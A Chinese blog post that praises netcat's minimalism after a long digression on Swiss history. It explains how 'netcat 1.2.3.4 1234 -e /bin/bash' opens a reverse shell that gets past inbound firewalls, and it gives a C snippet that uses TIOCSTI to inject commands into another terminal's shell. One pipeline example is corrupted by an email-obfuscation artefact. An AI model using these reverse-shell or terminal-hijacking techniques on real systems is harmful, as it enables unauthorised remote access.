网络工具的瑞士军刀netcat

Posted 2020-09-29

这是一个聒噪的夜晚，假设要给出个原因。可能是由于尽管我认为西班牙不纯粹，可是怎么也不至于干为人家搭台面自己不唱戏的角色吧..结束以后。我认为该玩一下素有网络瑞士军刀之称谓的netcat了。

尽管瑞士军刀和netcat除了在小而精方面之外并没有必定的联系，可是我还是想扯一通我所了解的瑞士，博客嘛。不是论文，不是測试报告，发散一点没有问题，而且，我认为将来。跨界将是一个必定的趋势，拥有跨界的能力也是一个必定的优势。

       瑞士是一个没有历史的国家，它全然就是1848年的政治妥协的结果，这也说明了为什么即便是纳粹德国也认可它永久中立国的地位，可是并不意味着生活在这片土地的民族没有历史。自凯撒时代以远。这里就生活着自由的民族。罗马化时代，它处在高卢和平氛围之下自我发展。之后它的历史就是一部融合，分离，抗争与中立的历史了，可是不可否认的是，这片土地以及这片土地上的人们在纷乱的中世纪大领主。国王。神罗皇帝，教皇。主教，自治市...之间的激烈混战中存活了下来，并没有变成废墟。直到如今。这里依然是实际上最富裕的地区之中的一个，看看地图就知道。和比利时，荷兰不同。瑞士处在一个大国的包围圈中。法国。德国。意大利。奥地利四强构成了瑞士的邻国。从它的语言上能够看出来它的历史。德语。法语，意大利语(为什么没有奥地利语呢？由于奥地利大部分人说德语，神罗后遗症)，这样的地位正恰恰符合欧洲均势原则。所以瑞士反而能够毫发未损地作为中立国躲过N次浩劫，正是欧洲均势原则，为瑞士这样的国家创造了一个稳定的外部环境，它能够将设计精细化，能够不为外部压力而妥协，瑞士军刀就是在这样的环境下打造的。当然，还有手表。

可是假设再来点别的什么就更够味儿了。
       什么呢？那就是北欧基因。

我要是说是北欧基因促成了Linux，你信吗？但无论怎样。北欧基因确实起了作用。北欧人，一个纯粹的海洋民族的后裔，一个和罗马帝国无关的民族的后裔。挣脱了欧洲传统的羁绊。远离了历史遗留的纷争，他们生活在一个童话和神话的世界。驾驭着深不可測的海洋，自由摇摆着灵活和自由以及规则的原始冲动，这或许是海洋民族的最大特质。

       瑞士军刀。一个带有北欧基因的超级小工具，符合其外在自洽内部发散的哲学，怎么形容它的优美都只是分。北欧的基因表现型。加上小而精的追求。正是这样的特质给瑞士军刀营造了和Linux同样的氛围......当然物尽所用并不意味着它是万能的。你不能指望用它来割断起重机的钢丝绳，也不要幻想它能撬起一辆卡车。其实。这些功能的缺失却正是瑞士军刀的优美之处，即它不是大而全，而是小而精，有时候，小而精的哲学确实能取胜。评价一个工具的标准并非它能做什么，而是它能多么简单地做到它声称能够做的事。手里拿着一个瑞士军刀，你能够省去带非常多东西，其实不论什么小工具都能够内置当中。比方温度计。指南针。剪刀，起子，螺丝刀，U盘，电表，牙签。绕线圈...设计的精妙之处在于，怎样把这些东西放在一个有限的空间中，以及怎样不被人们误用这些功能，简单的方式就是每一个小工具仅仅完美实现一个功能。

好吧。这就是瑞士军刀的全部，以下就是netcat了。
       netcat，非常小非常小，而且是真的小，而不是表现的小，它不像Linux内核那样，有人声称它能够被裁减到不到xk。可是你知道这个裁减的人要付出多大的心血吗？假设换一个刚毕业不久辛苦求得一份工作的人来裁减。他可能仅仅是大学期间看过一些代码，那他要加多少班啊。

好东西不在于它能被裁到多小，而是在于它真的不能再小了。netcat能小到什么程度呢？实际上它仅仅提供了一个socket IO通道而已，但别看它自带的这么小的功能集合。甚至都不能称之为集合，它却把扩展的范围提升到了你的想象力所及的范围，对于不善于思考的人来讲。它或许仅仅是一个telnet一样的程序，可是对于善于思考的人来讲。它能够构建一个安全的远程shell。你想过用它来构建一个SSL通道吗？
       在開始我的探索之前，首先简要概览一下能够从网上搜到的netcat的功能，我这里就不再反复了，它的功能点包含但不限于：探測port是否开启，port扫描，远程复制文件。远程复制文件夹，加密传输数据，远程运行shell，反向远程shell...为什么如此小的netcat能完毕这么多的功能呢？
       原因在于，它仅仅提供了最小集，即一个IO通道而已。至于说怎样构建数据，那不是它的职责，netcat并不假设数据的不论什么格式。对数据没有不论什么约束，这一点和telnet不同，尽管telnet也是一个略微通用些的TCP測试程序，可是对于传输数据它有非常多格式规定和假设，毕竟它最開始就是为远程登录设计的，其实上述的功能差点儿都不是netcat完毕的，netcat仅仅是把传输数据到对端而已，仅此而已。这是个创举！

试想，究竟是谁规定一个远程的telnet 23或者ssh必须是TCP的client主动发起连接TCP服务端呢？即究竟凭什么sshd要运行在TCP服务端呢？其实，没有人规定。仅仅是一个远程登录而已。但就是这个实现上的默认行为。导致了非常多远程登录无法进行，由于这些远程登录是从外网到内网的。而非常多防火墙都不同意从外到内的主动訪问。使用netcat能够做到这一点，在内网运行一个netcatclient，在外网运行netcat服务端。然后让/bin/bash覆盖掉netcat就可以，这就是创举所在。我来说下why。

       假设你运行一个netcat -e $pro。那么在连接成功后，你以为netcat会像大多数程序一样调用fork/exec来运行pro吗？非常多人都会这么认为，由于这是UNIX传统的标准做法。可是netcat没有这么做，而是直接在当前的netcat进程exec一个pro。这太猛了。当前的netcat就此消失被pro覆盖，那么接下来怎么办？谁来进行主控？其实。netcat就此就把控制权全然交给了pro。在交接之前。把STDIN，STDOUT，STDERR重定向到自己的socket。仅此而已。netcat留下的就是一个socket IO通道。接下来的pro程序的STDIN。STDOUT，STDERR就是socket了。除此之外。netcat没有留下不论什么痕迹，在运行netcat 1.2.3.4 1234 -e /bin/bash的时候，言外之意就好像在运行/bin/bash socketstdin socketstdout...仅仅可惜UNIX哲学不同意/bin/bash这样的程序和socket有不论什么关联。那么仅仅好利用另外一个小程序和它组合从而在网络上模拟本地IO了，netcat在-e參数下除了干这个，没有不论什么毒副作用。假设你不想全然将STDIN，STDOUT。STDERR都重定向，比方你仅仅想重定向STDIN。那么你就能够将|，>，<等符号和netcat组合，比方netcat -l -p 1234 <./transfile。cat transfile2 |netcat 127.0.0.1 2234等，在这样的情况下，netcat本身还在，并没有在-e參数下那样消失。可是它除了做IO之外。什么都不会多做。瑞士军刀般的多样化功能就是这么来的。是的。一切都在于你的想象力，你再也不能说，这个功能或者那个功能netcat没有提供，不能这样说，应该说你自己没有想到它能怎么用。假设让我写netcat的手冊，我就写一句话：它提供且仅仅提供一个TCP或者UDP网络通道。它能实现全部使用TCP或者UDP协议的的网络功能。

       我想实现一个远程运行命令的机制，不想编程。也不想用ssh，怎么办呢？使用netcat非常好办，首先它能够实现一个DH密钥交换，然后加密要传输的数据。然后解密，即兴创建一个shell，运行命令后返回结果。加密返回，这些都不在话下。假设你想远程获得一个加密的shell，就须要做一些工作了，要么你实现一个自环管道。即命令序列的最后一个的标准输出定向到第一个命令的标准输入，即netcat 1.2.3.4 1234|decryto|/bin/bash|[email protected]，最后的@意味着encryto的标准输出定向到netcat的标准输入，即socket，假设不想这么做。那就你就用以下的代码序列劫持不论什么一个已经处在tty上运行的shell然后运行命令后捕获返回值返回：

int fd = open("/dev/pts/0", O_RDWR);
ioctl(fd,   TIOCSTI,   "l ");
ioctl(fd,   TIOCSTI,   "s ");
ioctl(fd,   TIOCSTI,   "\n ");

可是无论你怎么做，千万不要改动netcat。假设你真的想改动它，那还不如自己写一个满足自己需求的呢，由于netcat没什么好改的，你就把它当成以下的程序就可以：

socket;
listen
accept //注意。没有多处理机制
loop:
read;
write;
loop;

记住，用已有的小工具构建一个大功能是一种艺术，netcat本身不是瑞士军刀。它更像瑞士军刀的刀柄和刀鞘，能够容纳差点儿全部的工具，小即是多。关键在包容，大的包容性，自然约束是最少的。netcat全然符合了UNIX的哲学。
       在网络编程工具上有没有瑞士军刀呢？我认为有，那就是OpenSSL的BIO机制。它抽象了IO过程，和netcat重定向了IO过程相似。假设说netcat在网络环境模拟了本机环境的话。那么BIO则能够在本机模拟网络环境。就OpenVPN而言。数据是直接写到BIO的。而不是直接写到socket的，这个和netcat的过程恰恰相反，在没有网络的环境下，想要调试网络程序。那么BIO就是利器了。
       早上六点多，西班牙已经输了一段时间，我本不是狂热的球迷，就是跟下风而已，据说明天的意大利VS英格兰会非常精彩。